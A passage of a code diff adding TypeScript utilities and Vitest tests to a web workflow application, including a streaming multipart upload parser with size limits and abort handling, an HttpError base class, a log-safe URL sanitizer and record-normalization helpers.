const err = data as Error
|
||||
return {
|
||||
name: err.name,
|
||||
message: truncateString(err.message),
|
||||
stack: err.stack ? truncateString(err.stack) : undefined,
|
||||
}
|
||||
}
|
||||
|
||||
case 'ArrayBuffer':
|
||||
return `[ArrayBuffer: ${(data as ArrayBuffer).byteLength} bytes]`
|
||||
|
||||
case 'Map': {
|
||||
seen.add(data)
|
||||
const obj: Record<string, any> = {}
|
||||
for (const [key, value] of (data as Map<any, any>).entries()) {
|
||||
const keyStr = typeof key === 'string' ? key : String(key)
|
||||
obj[keyStr] = filterForDisplayInternal(value, seen, depth + 1)
|
||||
}
|
||||
seen.delete(data)
|
||||
return obj
|
||||
}
|
||||
|
||||
case 'Set': {
|
||||
seen.add(data)
|
||||
const result = Array.from(data as Set<any>).map((item) =>
|
||||
filterForDisplayInternal(item, seen, depth + 1)
|
||||
)
|
||||
seen.delete(data)
|
||||
return result
|
||||
}
|
||||
|
||||
case 'WeakMap':
|
||||
return '[WeakMap]'
|
||||
|
||||
case 'WeakSet':
|
||||
return '[WeakSet]'
|
||||
|
||||
case 'WeakRef':
|
||||
return '[WeakRef]'
|
||||
|
||||
case 'Promise':
|
||||
return '[Promise]'
|
||||
}
|
||||
|
||||
if (ArrayBuffer.isView(data)) {
|
||||
return `[${objectType}: ${(data as ArrayBufferView).byteLength} bytes]`
|
||||
}
|
||||
|
||||
// Add to current path before processing children
|
||||
seen.add(data)
|
||||
|
||||
for (const filterFn of DISPLAY_FILTERS) {
|
||||
const filtered = filterFn(data)
|
||||
if (filtered !== data) {
|
||||
const result = filterForDisplayInternal(filtered, seen, depth + 1)
|
||||
seen.delete(data)
|
||||
return result
|
||||
}
|
||||
}
|
||||
|
||||
if (Array.isArray(data)) {
|
||||
const result = data.map((item) => filterForDisplayInternal(item, seen, depth + 1))
|
||||
seen.delete(data)
|
||||
return result
|
||||
}
|
||||
|
||||
const result: Record<string, any> = {}
|
||||
for (const key of Object.keys(data)) {
|
||||
try {
|
||||
result[key] = filterForDisplayInternal(data[key], seen, depth + 1)
|
||||
} catch {
|
||||
result[key] = '[Error accessing property]'
|
||||
}
|
||||
}
|
||||
// Remove from current path after processing children
|
||||
seen.delete(data)
|
||||
return result
|
||||
} catch {
|
||||
return '[Unserializable]'
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
/**
|
||||
* Base class for domain errors that map to a specific HTTP status when they
|
||||
* bubble up unhandled through `withRouteHandler`. Modeled after NestJS
|
||||
* `HttpException` / Spring `ResponseStatusException`: subclasses declare a
|
||||
* concrete `statusCode`, and the centralized route wrapper uses an
|
||||
* `instanceof HttpError` check (not duck-typing on a `statusCode` property)
|
||||
* to decide whether to forward the error's `message` to the client.
|
||||
*
|
||||
* Using a class check prevents third-party errors that happen to carry a
|
||||
* `statusCode`-shaped field from being treated as typed HTTP errors and
|
||||
* leaking internal details.
|
||||
*
|
||||
* Subclasses MUST ensure that `message` is safe to expose to clients — no
|
||||
* stack traces, secrets, file paths, ORM internals, or upstream provider
|
||||
* details.
|
||||
*/
|
||||
export abstract class HttpError extends Error {
|
||||
abstract readonly statusCode: number
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
import { truncate } from '@sim/utils/string'
|
||||
|
||||
/**
|
||||
* Sanitize URLs for logging by stripping query/hash and truncating.
|
||||
*/
|
||||
export function sanitizeUrlForLog(url: string, maxLength = 120): string {
|
||||
if (!url) return ''
|
||||
|
||||
const trimmed = url.trim()
|
||||
try {
|
||||
const hasProtocol = /^[a-zA-Z][a-zA-Z\d+\-.]*:/.test(trimmed)
|
||||
const parsed = new URL(trimmed, hasProtocol ? undefined : 'http://localhost')
|
||||
const origin = parsed.origin === 'null' ? '' : parsed.origin
|
||||
const sanitized = `${origin}${parsed.pathname}`
|
||||
const result = sanitized || parsed.pathname || trimmed
|
||||
return truncate(result, maxLength)
|
||||
} catch {
|
||||
const withoutQuery = trimmed.split('?')[0].split('#')[0]
|
||||
return truncate(withoutQuery, maxLength)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,203 @@
|
||||
/**
|
||||
* @vitest-environment node
|
||||
*/
|
||||
import type { Readable } from 'node:stream'
|
||||
import { describe, expect, it } from 'vitest'
|
||||
import { isMultipartError, type MultipartError, readMultipart } from '@/lib/core/utils/multipart'
|
||||
|
||||
type Part =
|
||||
| { name: string; value: string }
|
||||
| { name: string; filename: string; value: string; contentType?: string }
|
||||
|
||||
const BOUNDARY = '----testboundary1234'
|
||||
|
||||
function buildBody(parts: Part[], boundary = BOUNDARY): Buffer {
|
||||
const segments: Buffer[] = []
|
||||
for (const part of parts) {
|
||||
let header = `--${boundary}\r\nContent-Disposition: form-data; name="${part.name}"`
|
||||
if ('filename' in part) {
|
||||
header += `; filename="${part.filename}"\r\nContent-Type: ${part.contentType ?? 'text/csv'}`
|
||||
}
|
||||
header += '\r\n\r\n'
|
||||
segments.push(Buffer.from(header, 'utf8'), Buffer.from(part.value, 'utf8'), Buffer.from('\r\n'))
|
||||
}
|
||||
segments.push(Buffer.from(`--${boundary}--\r\n`, 'utf8'))
|
||||
return Buffer.concat(segments)
|
||||
}
|
||||
|
||||
function toWebStream(body: Buffer, chunkSize?: number): ReadableStream<Uint8Array> {
|
||||
return new ReadableStream<Uint8Array>({
|
||||
start(controller) {
|
||||
if (chunkSize) {
|
||||
for (let i = 0; i < body.length; i += chunkSize) {
|
||||
controller.enqueue(new Uint8Array(body.subarray(i, i + chunkSize)))
|
||||
}
|
||||
} else {
|
||||
controller.enqueue(new Uint8Array(body))
|
||||
}
|
||||
controller.close()
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
function makeRequest(
|
||||
parts: Part[],
|
||||
opts?: { chunkSize?: number; contentType?: string; boundary?: string }
|
||||
) {
|
||||
const boundary = opts?.boundary ?? BOUNDARY
|
||||
return {
|
||||
headers: new Headers({
|
||||
'content-type': opts?.contentType ?? `multipart/form-data; boundary=${boundary}`,
|
||||
}),
|
||||
body: toWebStream(buildBody(parts, boundary), opts?.chunkSize),
|
||||
}
|
||||
}
|
||||
|
||||
async function readStream(stream: Readable): Promise<string> {
|
||||
const chunks: Buffer[] = []
|
||||
for await (const chunk of stream) chunks.push(Buffer.from(chunk))
|
||||
return Buffer.concat(chunks).toString('utf8')
|
||||
}
|
||||
|
||||
function expectCode(error: unknown, code: MultipartError['code']) {
|
||||
expect(isMultipartError(error)).toBe(true)
|
||||
expect((error as MultipartError).code).toBe(code)
|
||||
}
|
||||
|
||||
describe('readMultipart', () => {
|
||||
it('parses text fields (before the file) and exposes the file stream', async () => {
|
||||
const csv = 'name,age\nAlice,30\n'
|
||||
const request = makeRequest([
|
||||
{ name: 'workspaceId', value: 'ws-1' },
|
||||
{ name: 'file', filename: 'data.csv', value: csv },
|
||||
])
|
||||
|
||||
const { fields, file } = await readMultipart(request, {
|
||||
maxFileBytes: 1024,
|
||||
requiredFieldsBeforeFile: ['workspaceId'],
|
||||
})
|
||||
|
||||
expect(fields.workspaceId).toBe('ws-1')
|
||||
expect(file?.filename).toBe('data.csv')
|
||||
expect(file?.fieldName).toBe('file')
|
||||
expect(await readStream(file!.stream)).toBe(csv)
|
||||
})
|
||||
|
||||
it('handles a body delivered in tiny chunks (split mid-boundary)', async () => {
|
||||
const csv = 'name,age\nAlice,30\nBob,40\n'
|
||||
const request = makeRequest(
|
||||
[
|
||||
{ name: 'workspaceId', value: 'ws-1' },
|
||||
{ name: 'file', filename: 'data.csv', value: csv },
|
||||
],
|
||||
{ chunkSize: 3 }
|
||||
)
|
||||
|
||||
const { file } = await readMultipart(request, { maxFileBytes: 1024 })
|
||||
expect(await readStream(file!.stream)).toBe(csv)
|
||||
})
|
||||
|
||||
it('rejects FIELD_AFTER_FILE when a required field comes after the file', async () => {
|
||||
const request = makeRequest([
|
||||
{ name: 'file', filename: 'data.csv', value: 'name\nAlice\n' },
|
||||
{ name: 'workspaceId', value: 'ws-1' },
|
||||
])
|
||||
|
||||
await readMultipart(request, {
|
||||
maxFileBytes: 1024,
|
||||
requiredFieldsBeforeFile: ['workspaceId'],
|
||||
}).then(
|
||||
() => {
|
||||
throw new Error('expected rejection')
|
||||
},
|
||||
(err) => expectCode(err, 'FIELD_AFTER_FILE')
|
||||
)
|
||||
})
|
||||
|
||||
it('rejects NO_FILE when the body has no file part', async () => {
|
||||
const request = makeRequest([{ name: 'workspaceId', value: 'ws-1' }])
|
||||
await readMultipart(request, { maxFileBytes: 1024 }).then(
|
||||
() => {
|
||||
throw new Error('expected rejection')
|
||||
},
|
||||
(err) => expectCode(err, 'NO_FILE')
|
||||
)
|
||||
})
|
||||
|
||||
it('rejects NOT_MULTIPART for a non-multipart content type', async () => {
|
||||
const request = {
|
||||
headers: new Headers({ 'content-type': 'application/json' }),
|
||||
body: toWebStream(Buffer.from('{}')),
|
||||
}
|
||||
await readMultipart(request, { maxFileBytes: 1024 }).then(
|
||||
() => {
|
||||
throw new Error('expected rejection')
|
||||
},
|
||||
(err) => expectCode(err, 'NOT_MULTIPART')
|
||||
)
|
||||
})
|
||||
|
||||
it('errors the file stream with FILE_TOO_LARGE when the cap is exceeded', async () => {
|
||||
const request = makeRequest([
|
||||
{ name: 'workspaceId', value: 'ws-1' },
|
||||
{ name: 'file', filename: 'big.csv', value: 'x'.repeat(500) },
|
||||
])
|
||||
|
||||
const { file } = await readMultipart(request, { maxFileBytes: 50 })
|
||||
await readStream(file!.stream).then(
|
||||
() => {
|
||||
throw new Error('expected stream error')
|
||||
},
|
||||
(err) => expectCode(err, 'FILE_TOO_LARGE')
|
||||
)
|
||||
})
|
||||
|
||||
it('rejects when the signal is already aborted', async () => {
|
||||
const controller = new AbortController()
|
||||
controller.abort()
|
||||
const request = makeRequest([
|
||||
{ name: 'workspaceId', value: 'ws-1' },
|
||||
{ name: 'file', filename: 'data.csv', value: 'name\nAlice\n' },
|
||||
])
|
||||
|
||||
await expect(
|
||||
readMultipart(request, { maxFileBytes: 1024, signal: controller.signal })
|
||||
).rejects.toBeTruthy()
|
||||
})
|
||||
|
||||
it('destroys the file stream when the signal aborts mid-upload (after resolve)', async () => {
|
||||
const controller = new AbortController()
|
||||
// A body that delivers the file-part header but never closes, so the file stream stays open
|
||||
// after readMultipart resolves — mimicking a client still uploading.
|
||||
let enqueue!: (b: Buffer) => void
|
||||
const body = new ReadableStream<Uint8Array>({
|
||||
start(c) {
|
||||
enqueue = (b) => c.enqueue(new Uint8Array(b))
|
||||
},
|
||||
})
|
||||
const head = Buffer.concat([
|
||||
Buffer.from(
|
||||
`--${BOUNDARY}\r\nContent-Disposition: form-data; name="workspaceId"\r\n\r\nws-1\r\n`
|
||||
),
|
||||
Buffer.from(
|
||||
`--${BOUNDARY}\r\nContent-Disposition: form-data; name="file"; filename="data.csv"\r\nContent-Type: text/csv\r\n\r\n`
|
||||
),
|
||||
Buffer.from('name,age\n'),
|
||||
])
|
||||
const request = {
|
||||
headers: new Headers({ 'content-type': `multipart/form-data; boundary=${BOUNDARY}` }),
|
||||
body,
|
||||
}
|
||||
enqueue(head)
|
||||
|
||||
const parsed = await readMultipart(request, {
|
||||
maxFileBytes: 1024,
|
||||
requiredFieldsBeforeFile: ['workspaceId'],
|
||||
signal: controller.signal,
|
||||
})
|
||||
expect(parsed.file).toBeTruthy()
|
||||
|
||||
controller.abort()
|
||||
await expect(readStream(parsed.file!.stream)).rejects.toBeTruthy()
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,249 @@
|
||||
import { Readable } from 'node:stream'
|
||||
import type { ReadableStream as NodeReadableStream } from 'node:stream/web'
|
||||
import { getErrorMessage } from '@sim/utils/errors'
|
||||
import busboy from 'busboy'
|
||||
|
||||
/**
|
||||
* Streaming multipart/form-data reader built on `busboy`.
|
||||
*
|
||||
* Unlike `request.formData()` (undici), this never buffers the whole request
|
||||
* body in memory and does not depend on a correct `content-length`/boundary —
|
||||
* it parses the request as it streams off the socket. The single file part is
|
||||
* surfaced as an un-drained Node {@link Readable} so the caller can run auth /
|
||||
* create-table work BEFORE consuming the (potentially huge) file bytes.
|
||||
*
|
||||
* @see readMultipart
|
||||
*/
|
||||
|
||||
/** Error codes surfaced by {@link readMultipart} and the returned file stream. */
|
||||
export type MultipartErrorCode =
|
||||
| 'NOT_MULTIPART'
|
||||
| 'NO_BODY'
|
||||
| 'FILE_TOO_LARGE'
|
||||
| 'FIELD_AFTER_FILE'
|
||||
| 'NO_FILE'
|
||||
| 'PARSE_ERROR'
|
||||
|
||||
/**
|
||||
* Error thrown by {@link readMultipart} (for pre-file failures) or emitted on
|
||||
* the returned file stream (for failures during consumption, e.g.
|
||||
* `FILE_TOO_LARGE`). Callers map `code` to an HTTP status.
|
||||
*/
|
||||
export class MultipartError extends Error {
|
||||
readonly code: MultipartErrorCode
|
||||
|
||||
constructor(code: MultipartErrorCode, message: string) {
|
||||
super(message)
|
||||
this.name = 'MultipartError'
|
||||
this.code = code
|
||||
}
|
||||
}
|
||||
|
||||
export function isMultipartError(error: unknown): error is MultipartError {
|
||||
return error instanceof MultipartError
|
||||
}
|
||||
|
||||
export interface MultipartFilePart {
|
||||
/** The multipart field name that carried the file (expected: `file`). */
|
||||
fieldName: string
|
||||
filename: string
|
||||
mimeType: string
|
||||
/**
|
||||
* The file bytes. The caller MUST fully consume or `destroy()` this stream
|
||||
* (use a `finally`) or the request will hang. On overflow of `maxFileBytes`
|
||||
* the stream is destroyed with a {@link MultipartError} (`FILE_TOO_LARGE`).
|
||||
*/
|
||||
stream: Readable
|
||||
}
|
||||
|
||||
export interface ParsedMultipart {
|
||||
/** Text fields that arrived before the file part, keyed by field name. */
|
||||
fields: Record<string, string>
|
||||
/** The single file part, or `null` if the body had no file part. */
|
||||
file: MultipartFilePart | null
|
||||
}
|
||||
|
||||
export interface ReadMultipartOptions {
|
||||
/** Per-file byte cap. Overflow destroys the file stream with `FILE_TOO_LARGE`. */
|
||||
maxFileBytes: number
|
||||
/**
|
||||
* Field names that must arrive before the file part. If the file part is
|
||||
* seen while any are still missing, the parse rejects with `FIELD_AFTER_FILE`.
|
||||
*/
|
||||
requiredFieldsBeforeFile?: string[]
|
||||
/** Field name expected to carry the file. Defaults to `file`. */
|
||||
fileFieldName?: string
|
||||
/** Abort signal — cancels parsing and destroys the underlying stream. */
|
||||
signal?: AbortSignal
|
||||
}
|
||||
|
||||
interface MultipartRequest {
|
||||
headers: Headers
|
||||
body: ReadableStream<Uint8Array> | null
|
||||
}
|
||||
|
||||
/**
|
||||
* Parse a `multipart/form-data` request as a stream. Resolves as soon as the
|
||||
* file-part header is seen (text fields collected up to that point are in
|
||||
* `fields`); the file bytes are NOT yet consumed — the caller drives
|
||||
* `result.file.stream`.
|
||||
*
|
||||
* Pre-file failures reject the returned promise; failures that happen while the
|
||||
* file streams (size limit, mid-body parse errors, abort) are surfaced as an
|
||||
* error on `result.file.stream`.
|
||||
*/
|
||||
export function readMultipart(
|
||||
request: MultipartRequest,
|
||||
options: ReadMultipartOptions
|
||||
): Promise<ParsedMultipart> {
|
||||
const { maxFileBytes, requiredFieldsBeforeFile = [], fileFieldName = 'file', signal } = options
|
||||
|
||||
return new Promise<ParsedMultipart>((resolve, reject) => {
|
||||
const contentType = request.headers.get('content-type')
|
||||
if (!contentType || !contentType.toLowerCase().includes('multipart/form-data')) {
|
||||
reject(new MultipartError('NOT_MULTIPART', 'Expected multipart/form-data request'))
|
||||
return
|
||||
}
|
||||
if (!request.body) {
|
||||
reject(new MultipartError('NO_BODY', 'Request has no body'))
|
||||
return
|
||||
}
|
||||
|
||||
let bb: busboy.Busboy
|
||||
try {
|
||||
bb = busboy({
|
||||
headers: { 'content-type': contentType },
|
||||
limits: { fileSize: maxFileBytes, files: 1 },
|
||||
})
|
||||
} catch (err) {
|
||||
reject(new MultipartError('NOT_MULTIPART', getErrorMessage(err, 'Invalid multipart request')))
|
||||
return
|
||||
}
|
||||
|
||||
// double-cast-allowed: the web ReadableStream on request.body isn't structurally assignable to the Node type Readable.fromWeb expects
|
||||
const nodeStream = Readable.fromWeb(request.body as unknown as NodeReadableStream<Uint8Array>)
|
||||
const fields: Record<string, string> = {}
|
||||
let settled = false
|
||||
let fileSeen = false
|
||||
|
||||
const onAbort = () => {
|
||||
const reason = signal?.reason instanceof Error ? signal.reason : new Error('Aborted')
|
||||
nodeStream.destroy(reason)
|
||||
bb.destroy()
|
||||
if (!settled) {
|
||||
settled = true
|
||||
reject(reason)
|
||||
}
|
||||
}
|
||||
|
||||
const cleanup = () => {
|
||||
signal?.removeEventListener('abort', onAbort)
|
||||
}
|
||||
|
||||
const settle = (fn: () => void) => {
|
||||
if (settled) return
|
||||
settled = true
|
||||
cleanup()
|
||||
fn()
|
||||
}
|
||||
|
||||
if (signal?.aborted) {
|
||||
// `destroy()` with no reason emits 'close', not an unhandled 'error'.
|
||||
nodeStream.destroy()
|
||||
settled = true
|
||||
reject(signal.reason instanceof Error ? signal.reason : new Error('Aborted'))
|
||||
return
|
||||
}
|
||||
signal?.addEventListener('abort', onAbort, { once: true })
|
||||
|
||||
bb.on('field', (name, value) => {
|
||||
fields[name] = value
|
||||
})
|
||||
|
||||
bb.on('file', (name, stream, info) => {
|
||||
if (settled || fileSeen) {
|
||||
stream.resume()
|
||||
return
|
||||
}
|
||||
fileSeen = true
|
||||
|
||||
if (name !== fileFieldName) {
|
||||
stream.resume()
|
||||
nodeStream.destroy()
|
||||
settle(() =>
|
||||
reject(
|
||||
new MultipartError('NO_FILE', `Expected file field "${fileFieldName}", got "${name}"`)
|
||||
)
|
||||
)
|
||||
return
|
||||
}
|
||||
|
||||
const missing = requiredFieldsBeforeFile.filter((field) => !(field in fields))
|
||||
if (missing.length > 0) {
|
||||
stream.resume()
|
||||
nodeStream.destroy()
|
||||
settle(() =>
|
||||
reject(
|
||||
new MultipartError(
|
||||
'FIELD_AFTER_FILE',
|
||||
`Field(s) must precede the file in the request body: ${missing.join(', ')}`
|
||||
)
|
||||
)
|
||||
)
|
||||
return
|
||||
}
|
||||
|
||||
stream.once('limit', () => {
|
||||
stream.destroy(
|
||||
new MultipartError('FILE_TOO_LARGE', `File exceeds maximum size of ${maxFileBytes} bytes`)
|
||||
)
|
||||
})
|
||||
|
||||
settle(() => {
|
||||
// settle() detached the pre-file abort handler. Re-arm one scoped to the file stream so a
|
||||
// client disconnect mid-upload tears it down — otherwise the caller's consume loop hangs
|
||||
// until maxDuration. Detach when the stream closes so it can't fire afterward.
|
||||
if (signal) {
|
||||
const onStreamAbort = () => {
|
||||
const reason = signal.reason instanceof Error ? signal.reason : new Error('Aborted')
|
||||
stream.destroy(reason)
|
||||
nodeStream.destroy(reason)
|
||||
bb.destroy()
|
||||
}
|
||||
if (signal.aborted) onStreamAbort()
|
||||
else {
|
||||
signal.addEventListener('abort', onStreamAbort, { once: true })
|
||||
stream.once('close', () => signal.removeEventListener('abort', onStreamAbort))
|
||||
}
|
||||
}
|
||||
resolve({
|
||||
fields,
|
||||
file: { fieldName: name, filename: info.filename, mimeType: info.mimeType, stream },
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
bb.on('error', (err) => {
|
||||
const message = getErrorMessage(err, 'Failed to parse multipart body')
|
||||
settle(() => reject(new MultipartError('PARSE_ERROR', message)))
|
||||
})
|
||||
|
||||
bb.on('close', () => {
|
||||
if (!fileSeen) {
|
||||
settle(() => reject(new MultipartError('NO_FILE', 'No file part in multipart body')))
|
||||
}
|
||||
})
|
||||
|
||||
nodeStream.on('error', (err) => {
|
||||
settle(() =>
|
||||
reject(
|
||||
err instanceof MultipartError
|
||||
? err
|
||||
: new MultipartError('PARSE_ERROR', getErrorMessage(err, 'Failed to read request body'))
|
||||
)
|
||||
)
|
||||
})
|
||||
|
||||
nodeStream.pipe(bb)
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
/**
|
||||
* Detects whether the current platform is macOS/iOS.
|
||||
* Returns false during SSR.
|
||||
*/
|
||||
export function isMacPlatform(): boolean {
|
||||
if (typeof window === 'undefined') return false
|
||||
return /Mac|iPhone|iPod|iPad/i.test(navigator.userAgent)
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
import { isValidElement, type ReactNode } from 'react'
|
||||
|
||||
/**
|
||||
* Recursively extracts plain text content from a React node tree.
|
||||
*/
|
||||
export function extractTextContent(node: ReactNode): string {
|
||||
if (typeof node === 'string') return node
|
||||
if (typeof node === 'number') return String(node)
|
||||
if (!node) return ''
|
||||
if (Array.isArray(node)) return node.map(extractTextContent).join('')
|
||||
if (isValidElement(node))
|
||||
return extractTextContent((node.props as { children?: ReactNode }).children)
|
||||
return ''
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
import { describe, expect, it } from 'vitest'
|
||||
import {
|
||||
normalizeRecord,
|
||||
normalizeRecordMap,
|
||||
normalizeStringRecord,
|
||||
normalizeWorkflowVariables,
|
||||
} from '@/lib/core/utils/records'
|
||||
|
||||
describe('record normalization utilities', () => {
|
||||
it('normalizes unknown values to object records', () => {
|
||||
expect(normalizeRecord({ value: 1 })).toEqual({ value: 1 })
|
||||
expect(normalizeRecord([])).toEqual({})
|
||||
expect(normalizeRecord('not-a-record')).toEqual({})
|
||||
})
|
||||
|
||||
it('normalizes string records for environment-like values', () => {
|
||||
expect(
|
||||
normalizeStringRecord({
|
||||
TOKEN: 'secret',
|
||||
RETRIES: 3,
|
||||
ENABLED: true,
|
||||
EMPTY: null,
|
||||
})
|
||||
).toEqual({
|
||||
TOKEN: 'secret',
|
||||
RETRIES: '3',
|
||||
ENABLED: 'true',
|
||||
})
|
||||
expect(normalizeStringRecord([])).toEqual({})
|
||||
})
|
||||
|
||||
it('normalizes record maps by dropping malformed entries', () => {
|
||||
expect(
|
||||
normalizeRecordMap({
|
||||
valid: { type: 'string' },
|
||||
invalid: [],
|
||||
})
|
||||
).toEqual({
|
||||
valid: { type: 'string' },
|
||||
})
|
||||
})
|
||||
|
||||
it('normalizes legacy workflow variable arrays into records', () => {
|
||||
const variableWithId = { id: 'var-1', name: 'brand', type: 'plain', value: 'myfitness' }
|
||||
const variableWithName = { name: 'channel', type: 'plain', value: 'whatsapp' }
|
||||
|
||||
expect(normalizeWorkflowVariables([variableWithId, variableWithName, []])).toEqual({
|
||||
'var-1': variableWithId,
|
||||
channel: variableWithName,
|
||||
})
|
||||
expect(normalizeWorkflowVariables({ existing: variableWithId })).toEqual({
|
||||
existing: variableWithId,
|
||||
})
|
||||
expect(normalizeWorkflowVariables('not-a-record')).toEqual({})
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,80 @@
|
||||
import { isPlainRecord } from '@sim/utils/object'
|
||||
|
||||
export type UnknownRecord = Record<string, unknown>
|
||||
export type StringRecord = Record<string, string>
|
||||
|
||||
/**
|
||||
* Normalizes optional execution context maps to the record shape expected by
|
||||
* internal API contracts.
|
||||
*/
|
||||
export function normalizeRecord(value: unknown): UnknownRecord {
|
||||
return isPlainRecord(value) ? value : {}
|
||||
}
|
||||
|
||||
/**
|
||||
* Normalizes environment-like maps to string values, matching process/env
|
||||
* semantics at execution boundaries.
|
||||
*/
|
||||
export function normalizeStringRecord(value: unknown): StringRecord {
|
||||
if (!isPlainRecord(value)) {
|
||||
return {}
|
||||
}
|
||||
|
||||
const normalized: StringRecord = {}
|
||||
for (const [key, entryValue] of Object.entries(value)) {
|
||||
if (entryValue === undefined || entryValue === null) {
|
||||
continue
|
||||
}
|
||||
normalized[key] = typeof entryValue === 'string' ? entryValue : String(entryValue)
|
||||
}
|
||||
return normalized
|
||||
}
|
||||
|
||||
/**
|
||||
* Normalizes record-of-record maps such as block output schema maps.
|
||||
*/
|
||||
export function normalizeRecordMap(value: unknown): Record<string, UnknownRecord> {
|
||||
if (!isPlainRecord(value)) {
|
||||
return {}
|
||||
}
|
||||
|
||||
const normalized: Record<string, UnknownRecord> = {}
|
||||
for (const [key, entryValue] of Object.entries(value)) {
|
||||
if (isPlainRecord(entryValue)) {
|
||||
normalized[key] = entryValue
|
||||
}
|
||||
}
|
||||
return normalized
|
||||
}
|
||||
|
||||
/**
|
||||
* Workflow variables are stored as a record in current state, while some
|
||||
* legacy and imported snapshots can carry an array of variable objects.
|
||||
*/
|
||||
export function normalizeWorkflowVariables(value: unknown): UnknownRecord {
|
||||
if (isPlainRecord(value)) {
|
||||
return value
|
||||
}
|
||||
|
||||
if (!Array.isArray(value)) {
|
||||
return {}
|
||||
}
|
||||
|
||||
const normalized: UnknownRecord = {}
|
||||
for (const variable of value) {
|
||||
if (!isPlainRecord(variable)) {
|
||||
continue
|
||||
}
|
||||
|
||||
const id = typeof variable.id === 'string' && variable.id.trim() ? variable.id : undefined
|
||||
const name =
|
||||
typeof variable.name === 'string' && variable.name.trim() ? variable.name : undefined
|
||||
const key = id ?? name
|
||||
|
||||
if (key) {
|
||||
normalized[key] = variable
|
||||
}
|
||||
}
|
||||
|
||||
return normalized
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
import { getRequestContext } from '@sim/logger'
|
||||
import { generateId } from '@sim/utils/id'
|
||||
/**
|
||||
* Generate a short request ID for correlation. If called inside a request
|
||||
* context (see `withRouteHandler` and `runWithRequestContext`), returns the
|
||||
* active request's ID so inline `[${requestId}]` log prefixes align with
|
||||
* the auto-attached `{requestId=...}` logger metadata.
|
||||
*/
|
||||
export function generateRequestId(): string {
|
||||
return getRequestContext()?.requestId ?? generateId().slice(0, 8)
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract the client IP from a request, checking `x-forwarded-for` then `x-real-ip`.
|
||||
*/
|
||||
export function getClientIp(request: { headers: { get(name: string): string | null } }): string {
|
||||
return (
|
||||
request.headers.get('x-forwarded-for')?.split(',')[0]?.trim() ||
|
||||
request.headers.get('x-real-ip')?.trim() ||
|
||||
'unknown'
|
||||
)
|
||||
}
|
||||
|
||||
/**
|
||||
* No-operation function for use as default callback
|
||||
*/
|
||||
export const noop = () => {}
|
||||
@@ -0,0 +1,58 @@
|
||||
/**
|
||||
* @vitest-environment node
|
||||
*/
|
||||
import { describe, expect, it } from 'vitest'
|
||||
import { extractFieldValues, traverseObjectPath } from '@/lib/core/utils/response-format'
|
||||
import {
|
||||
LARGE_ARRAY_MANIFEST_VERSION,
|
||||
type LargeArrayManifest,
|
||||
} from '@/lib/execution/payloads/large-array-manifest-metadata'
|
||||
|
||||
function createManifest(totalCount = 100_000): LargeArrayManifest {
|
||||
return {
|
||||
__simLargeArrayManifest: true,
|
||||
version: LARGE_ARRAY_MANIFEST_VERSION,
|
||||
kind: 'array',
|
||||
totalCount,
|
||||
chunkCount: 1,
|
||||
byteSize: 12 * 1024 * 1024,
|
||||
chunks: [
|
||||
{
|
||||
count: totalCount,
|
||||
byteSize: 12 * 1024 * 1024,
|
||||
ref: {
|
||||
__simLargeValueRef: true,
|
||||
version: 1,
|
||||
id: 'lv_ABCDEFGHIJKL',
|
||||
kind: 'array',
|
||||
size: 12 * 1024 * 1024,
|
||||
executionId: 'execution-1',
|
||||
},
|
||||
},
|
||||
],
|
||||
preview: [{ key: 'SIM-0' }],
|
||||
}
|
||||
}
|
||||
|
||||
describe('response format traversal', () => {
|
||||
it('returns whole large array manifest metadata without materializing chunks', () => {
|
||||
const manifest = createManifest()
|
||||
|
||||
expect(traverseObjectPath({ output: { rows: manifest } }, 'output.rows')).toEqual(manifest)
|
||||
})
|
||||
|
||||
it('returns manifest totalCount for length selections', () => {
|
||||
const manifest = createManifest()
|
||||
|
||||
expect(traverseObjectPath({ output: { rows: manifest } }, 'output.rows.length')).toBe(100_000)
|
||||
expect(
|
||||
extractFieldValues({ output: { rows: manifest } }, ['block-1_output.rows.length'], 'block-1')
|
||||
).toEqual({ 'output.rows.length': 100_000 })
|
||||
})
|
||||
|
||||
it('does not perform indexed manifest reads in sync traversal', () => {
|
||||
const manifest = createManifest()
|
||||
|
||||
expect(traverseObjectPath({ output: { rows: manifest } }, 'output.rows.0.key')).toBeUndefined()
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,242 @@
|
||||
import { createLogger } from '@sim/logger'
|
||||
import { materializeLargeValueRefSyncOrThrow } from '@/lib/execution/payloads/cache'
|
||||
import { isLargeArrayManifest } from '@/lib/execution/payloads/large-array-manifest-metadata'
|
||||
import { isLargeValueRef } from '@/lib/execution/payloads/large-value-ref'
|
||||
|
||||
const logger = createLogger('ResponseFormatUtils')
|
||||
|
||||
export interface Field {
|
||||
name: string
|
||||
type: string
|
||||
description?: string
|
||||
}
|
||||
|
||||
/**
|
||||
* Helper function to extract fields from JSON Schema
|
||||
* Handles both legacy format with fields array and new JSON Schema format
|
||||
*/
|
||||
export function extractFieldsFromSchema(schema: any): Field[] {
|
||||
if (!schema || typeof schema !== 'object') {
|
||||
return []
|
||||
}
|
||||
|
||||
// Handle legacy format with fields array
|
||||
if (Array.isArray(schema.fields)) {
|
||||
return schema.fields
|
||||
}
|
||||
|
||||
// Handle new JSON Schema format
|
||||
const schemaObj = schema.schema || schema
|
||||
if (!schemaObj || !schemaObj.properties || typeof schemaObj.properties !== 'object') {
|
||||
return []
|
||||
}
|
||||
|
||||
// Extract fields from schema properties
|
||||
return Object.entries(schemaObj.properties).map(([name, prop]: [string, any]) => {
|
||||
// Handle array format like ['string', 'array']
|
||||
if (Array.isArray(prop)) {
|
||||
return {
|
||||
name,
|
||||
type: prop.includes('array') ? 'array' : prop[0] || 'string',
|
||||
description: undefined,
|
||||
}
|
||||
}
|
||||
|
||||
// Handle object format like { type: 'string', description: '...' }
|
||||
return {
|
||||
name,
|
||||
type: prop.type || 'string',
|
||||
description: prop.description,
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
/**
|
||||
* Helper function to safely parse response format
|
||||
